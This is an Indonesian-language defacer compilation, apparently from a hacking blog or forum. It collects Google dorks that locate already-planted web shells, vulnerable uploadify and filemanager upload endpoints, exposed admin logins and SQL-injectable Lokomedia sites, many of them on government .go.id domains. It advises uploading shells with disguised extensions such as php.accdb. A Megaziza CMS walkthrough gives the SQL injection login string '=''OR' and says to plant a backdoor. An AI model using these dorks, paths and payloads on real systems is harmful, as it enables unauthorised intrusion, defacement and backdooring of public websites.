# author : Mr.Luciferz
# contact : fb.com/mr.luciferz
# inurl:/daftar.php "Choose File"
# inurl:"/uploads/dokumen/" site:go.id
# sh00tz : ● Con7ext - Jembrix - Kakatoji - Ashura - grav3 ●
# HentaiC0de - IndoXploit - All Defacer Indonesian
###################################################

# author : Mr.Luciferz
# contact : fb.com/mr.luciferz
# intitle:"IndoXploit" filetype:php # intitle:"IndoXploit" intext:"public_html" filetype:php
# intitle:"IndoXploit" intext:"mass deface" filetype:php
# intitle:"IndoXploit" intext:"mass delete" filetype:php
# intitle:"IndoXploit" intext:"jumping" filetype:php
# intitle:"IndoXploit" intext:"config" filetype:php
# intitle:"IndoXploit" intext:"config" filetype:php
# intitle:"IndoXploit" intext:"fake root" filetype:php
# intitle:"IndoXploit" intext:"auto edit user" filetype:php
# intitle:"IndoXploit" intext:"Auto Edit Title WordPress" filetype:php
# intitle:"IndoXploit" intext:"WordPress Auto Deface" filetype:php
# intitle:"IndoXploit" intext:"WordPress Auto Deface V.2" filetype:php
# intitle:"IndoXploit" intext:"CPanel/FTP Auto Deface" filetype:php
# intitle:"IndoXploit" intext:"cpanel crack" filetype:php
# intitle:"IndoXploit" intext:"Adminer" filetype:php
# intitle:"IndoXploit" intext:"SMTP Grabber" filetype:php
# intitle:"IndoXploit" intext:"Zone-h" filetype:php
# intitle:"IndoXploit" intext:"CGI Telnet" filetype:php
# intitle:"IndoXploit" intext:"network" filetype:php
# intitle:"IndoXploit" intext:"K-RDP Shell " filetype:php
# intitle:"IndoXploit" intext:"newfile | newfolder" filetype:php
# inurl:"/wp-content/" intitle:"IndoXploit" filetype:php
# inurl:"/wp-content/" intitle:"b374k" filetype:php
# inurl:"/wp-content/" intitle:"b374k m1n1" filetype:php
# inurl:"/wp-content/" intitle:"Shell" filetype:php
# inurl:"/wp-content/" intitle:"Stupidc0de" filetype:php
# intitle:"1n73ction" filetype:php
# intext:"Cpanel Cracker" filetype:php
# intext:"Current DIR: /home/" filetype:php
# intext:"IndoXploit" filetype:php
# intitle:"c99" intext:"public_html" filetype:php
# sh00tz : ● Con7ext - Jembrix - Kakatoji - Ashura - grav3 ●
# HentaiC0de - IndoXploit - All Defacer Indonesian
###################################################################

# contact : fb.com/mr.luciferz
# Dork : inurl:/viewAdministrators.action
# "filetype:action site:*.id"
# intitle:Bamboo administrators intext:Bamboo administrators filetype:action
# sh00tz : ● Con7ext - Jembrix - Kakatoji - Ashura - grav3 ●
# HentaiC0de - IndoXploit - All Defacer Indonesian
##############################################################

# author : Mr.Luciferz
# contact : fb.com/mr.luciferz
# home : http://www.phpjabbers.com/
# Dork : Copyright © 2017 PHPJabbers.com intitle:Stiva Blog Script by PHPJabbers.com
# intitle:Yellow Pages Script by PHPJabbers.com intext:ADMIN LOGIN
# intitle:Member Login Script by PHPJabbers.com intext:ADMIN LOGIN
# intitle:Knowledge Base Builder script by PHPJabbers.com intext:ADMIN LOGIN
# intitle:Simple CMS | Login intext:ADMIN LOGIN
# PHP Scripts Copyright © 2017 StivaSoft Ltd
# inurl:content/index.php? intext:ADMIN LOGIN
# inurl:/SimpleCMS intext:ADMIN LOGIN
# inurl:webCMS/index.php? intext:ADMIN LOGIN
# inurl:/visualVerge-Programs/webCMS/
# Powered by Sytek intext:ADMIN LOGIN
# inurl:/app/web/img/
# inurl:/app/web/upload/files/
# ------------------------------------------------------------------------------------------------------------
# BUG : /core/third-party/filemanager/dialog.php
# Result : /app/web/upload/tinymce-source/shell.php.accdb
# Notice : Remember! Upload Shell with ext php.accdb / php.fla / php.ndsfx / php5 / php.doc
# sh00tz: ● Con7ext - Jembrix - Kakatoji - Ashura - grav3 ●
# Thank's To For Exploit Khunerable# HentaiC0de - IndoXploit - © Indonesian Hacker Rulez
#########################################################################

# author : Mr.Luciferz
# contact : fb.com/mr.luciferz
# intitle:"Index Of/am/revslider"
# intitle:"Index Of/be/revslider"
# intitle:"Index Of/il/revslider"
# intitle:"Index Of/tr/revslider"
# intitle:"Index Of/ro/revslider"
# intitle:"Index Of/ca/revslider"
# intitle:"Index Of/ge/revslider"
# intitle:"Index Of/ba/revslider"
# intitle:"Index Of/sy/revslider"
# intitle:"Index Of/fi/revslider"
# intitle:"Index Of/rs/revslider"
# intitle:"Index Of/revslider
# sh00tz : ● Con7ext - Jembrix - Kakatoji - Ashura - grav3 ●
# HentaiC0de - IndoXploit - All Defacer Indonesian
#################################################

# author : Mr.Luciferz
# contact : fb.com/mr.luciferz
# Dork : inurl:/media/source/ site:.id
# BUG : /plugin/filemanager/dialog.php
# -----------------------------------------
# Dork : inurl:/fm/source/
# BUG : /fm/filemanager/dialog.php
# -----------------------------------------
# Dork : inurl:/clients/source/ ext:jpg
# inurl:/clients/gallery/ ext:jpg
# inurl:/clients/news/ ext:jpg
# inurl:/assets/picture/ ext:jpg
# inurl:/clients/channel/ ext:jpg
# inurl:/clients/portfolio/ ext:jpg
# inurl:/clients/banner/ ext:jpg
# BUG : /assets/backend/tinymce/plugins/filemanager/dialog.php
# /assets/files/plugins/filemanager/filemanager/dialog.php
# ---------------------------------------------------------
# Dork : Index of inurl:/source/ intext:source.txt
# Notice : Remember! Upload Shell with ext php.fla / php.ndsfx / php5 / php.accdb / php.doc
# sh00tz: ● Con7ext - Jembrix - Kakatoji - Ashura - grav3 ●
# Thank's To For Exploit Khunerable
# HentaiC0de - IndoXploit - Indonesian Hacker Rulez ©###########################################################################

# contact : fb.com/mr.luciferz
# BUG : /wp-content/themes/pronto/cjl/pronto/uploadify/check.php
# /wp-content/plugins/1-flash-gallery/upload.php
# /wp-content/themes/zcool-like/uploadify.php
# /third-party/uploadify/uploadify.php
# /lib/uploadify/custom.php
# /wp-content/plugins/html5avmanager/lib/uploadify/custom.php
# /wp-content/plugins/wp-property/third-party/uploadify/uploadify.php
# /wp-content/plugins/squace-mobile-publishing-plugin-for-wordpress/uploadify.php
# /wp-content/plugins/1-flash-gallery/js/uploadify/uploadify.php
# /wp-content/themes/aim-theme/lib/js/old/uploadify.php
# /wp-content/plugins/annonces/includes/lib/uploadify/uploadify.php
# /wp-content/plugins/apptivo-business-site/inc/jobs/files/uploadify/uploadify.php
# /wp-content/plugins/bulletproof-security/admin/uploadify/uploadify.php
# /wp-content/plugins/chillybin-competition/js/uploadify/uploadify.php
# /wp-content/plugins/comments_plugin/uploadify/uploadify.php
# /wp-content/plugins/wp-crm/third-party/uploadify/uploadify.php
# /wp-content/plugins/doptg/libraries/php/uploadify.php
# /wp-content/plugins/pods/js/uploadify.php
# /wp-content/plugins/wp-property/third-party/uploadify/uploadify.php
# /wp-content/plugins/qr-color-code-generator-basic/QR-Color-Code-Generator/uploadify/uploadify.php
# /wp-content/plugins/wp-symposium/uploadify/uploadify.php
# /wp-content/plugins/uploader/uploadify.php
# /wp-content/plugins/uploadify/includes/process_upload.php
# /wp-content/plugins/very-simple-post-images/uploadify/uploadify.php
# sh00tz : ● Con7ext - Jembrix - Kakatoji - Ashura - grav3 ●
# HentaiC0de - IndoXploit - All Defacer Indonesian

Dibawah ini letak bug uploadify berada, Untuk doer kembangin sendiri.
Contoh: inurl:"/wp-content/themes/pronto/cjl/pronto/uploadify/" atua yang lainnya.

/wp-content/themes/pronto/cjl/pronto/uploadify/check.php
/wp-content/plugins/1-flash-gallery/upload.php
/wp-content/themes/zcool-like/uploadify.php
/third-party/uploadify/uploadify.php
/lib/uploadify/custom.php
/wp-content/plugins/html5avmanager/lib/uploadify/custom.php
/wp-content/plugins/wp-property/third-party/uploadify/uploadify.php
/wp-content/plugins/squace-mobile-publishing-plugin-for-wordpress/uploadify.php
/wp-content/plugins/1-flash-gallery/js/uploadify/uploadify.php
/wp-content/themes/aim-theme/lib/js/old/uploadify.php
/wp-content/plugins/annonces/includes/lib/uploadify/uploadify.php
/wp-content/plugins/apptivo-business-site/inc/jobs/files/uploadify/uploadify.php
/wp-content/plugins/bulletproof-security/admin/uploadify/uploadify.php
/wp-content/plugins/chillybin-competition/js/uploadify/uploadify.php
/wp-content/plugins/comments_plugin/uploadify/uploadify.php
/wp-content/plugins/wp-crm/third-party/uploadify/uploadify.php
/wp-content/plugins/doptg/libraries/php/uploadify.php
/wp-content/plugins/pods/js/uploadify.php
/wp-content/plugins/wp-property/third-party/uploadify/uploadify.php
/wp-content/plugins/qr-color-code-generator-basic/QR-Color-Code-Generator/uploadify/uploadify.php
/wp-content/plugins/wp-symposium/uploadify/uploadify.php
/wp-content/plugins/uploader/uploadify.php
/wp-content/plugins/uploadify/includes/process_upload.php
/wp-content/plugins/very-simple-post-images/uploadify/uploadify.php

bagi yang suka deface pake elfinder , nih gua share sedikit dork Elfinder Webhost :D


  1) site:id.ai 
  2) site:cc.vg 
  3) site:wp.lc 
  4) site:uk.ht 
  5) site:ye.vc
  6) site:website.pl 
  7) site:ws.gy 
  8) site:site.bz 
  9) site:xx.tn 
 10) site:freewebsite.biz 
 11) site:t15.org 
12) site:allalla.com 
13) site:vns.me 
14) site:smart-hosting.info 
15) site:uhostfull.com 
16) site:boxhost.me 
17) site:bugs3.com 
18) site:tom1.net 
19) site:tuars.com / site:tuars.net / site:tuars.co
20) site:freeserver.me

NB : Kembangin lagi ya :D 

Baca juga :

Cara deface dengan Elfinder Webhost with IPGrabbing

Semoga Bermanfaat :D

Halo Defacer....Salam Kerens.

Malam ini gw mau Share cara deface pake bypass admin. CMS Megaziza
Oke langsung gini caranya..

Ke google Di pencarian ketik " intext:create by megaziza "

Nanti Lo Bakal nemu site go.id banyak. pilih salah 1 atau mau Lo hajar semua gpp 😰
jangan lupa nitip di greetz codename gw yak..

Tempat Halaman admin nya ada di Site.ko.id/panel/

Username : '=''OR'
Password  : '=''OR'


Tampilan Nya kek gini.. langsung aja Tanem backdoor :D

Oke cukup.. Sekian.. Sampai ketemu di tutorial selanjutnya...

Tanya2 / Sharing  Ilmu gabung grup https://www.facebook.com/groups/ShowOFFDefacerIndonesia

Kali ini gua akan share Dork SQLi Lokomedia :)

inurl:statis-1-profil.html
inurl:statis-2-profil.html
inurl:statis-3-strukturorganisasi.html
intext:lokomedia inurl:statis- ext:html
intext:lokomedia inurl:kategori- 6 - .html
intext:lokomedia inurl:semua- ext:html
inurl:kategori-32-daerah.html site:.com
intext:copyright by  inurl:statis-1 ext:html
intext:lokomedia inurl:statis- ext:html
intext:lokomedia inurl:semua- ext:html
intext:lokomedia inurl:hubungi- ext:html
intext:lokomedia inurl:kategori- ext:html
intext:lokomedia inurl:berita- ext:html
inurl:foto_info
inurl:foto_produk intext:shop
inurl:foto_banner intext:shop
inurl:foto_berita intext:shop
inurl:foto_user intext:shop
inurl:/adminweb/login "Halaman Login"
inurl:content.php?module=banner
inurl:content.php?module=user
inurl:content.php?module=berita
inurl:content.php?module=iklan
inurl:content.php?module=produk
intext:copyright @ "Developed by"  inurl:/berita- - ext:html site:.
intext:Kembali ke Website Utama
intext:Developed by  inurl:berita- ext:html
"Developed by"  inurl:/statis-1- ext:html site:.
inurl:/statis-10 ext:html
inurl:/statis-16 ext:html
intext:copyright @ "Developed by"  inurl:/berita- - ext:html site:.
intext:Kembali ke Website Utama
intext:Developed by  inurl:berita- ext:html
intext:copyright by  inurl:statis-1 ext:html
inurl:/semua-berita.html site:coli :V "Total Pengunjung Hari Ini"
intext:copyright @ "Developed by"  inurl:/berita- - ext:html site:.
intext:Kembali ke Website Utama
intext:Developed by  inurl:berita- ext:html
"Developed by"  inurl:/statis-1- ext:html site:.
"Developed by"  inurl:/statis-1- ext:html site:.com/net/id/coli :V
Copyright © 2013 by Polostama. All rights reserved.
inurl:media.php?module=home

 DORK ADMIN PAGE LOGIN :

intext:Developed by  inurl:berita- ext:html
intitle:.:: Administrator -  Website ::. intext:LOGIN ADMINISTRATOR "BATALKAN"
intittle:adminstration login lokomedia site:go.id
intitle:.:: Administrator -  Website ::. intext:LOGIN ADMINISTRATOR site:.ac.id
intittle:adminstration login lokomedia site:go.id
intitle:.:: Administrator -  Website ::. intext:LOGIN ADMINISTRATOR site:.ac.id
intittle:Administrator CMS Lokomedia
intittle:..::: Login Anggota :::..
intitle:.:: HALAMAN ADMINISTRATOR ::.
intittle:..::: Login Elearning :::..
intittle:..::: Login Administrator :::.. site:go.id
intittle:.:: Login Adminstration ::. site:go.id
intittle:..::: Login Sistem ::.. site:go.id
intittle:.:: ADMINISTRATOR LOGIN ::. site:go.id
intittle:adminstration > login site:go.id
intittle:adminstration > Website site:go.id
intitle:Panel Administrator
inur:.com/adminweb "Username"
inur:.org/adminweb "Username"
inur:.net/adminweb "Username"
inur:.go.id/adminweb "Username"
inur:.desa.id/adminweb "Username"
inur:.co.id/adminweb "Username"
inur:.web.id/adminweb "Username"
inur:/adminweb "Username"

@Sumber : sepruddien3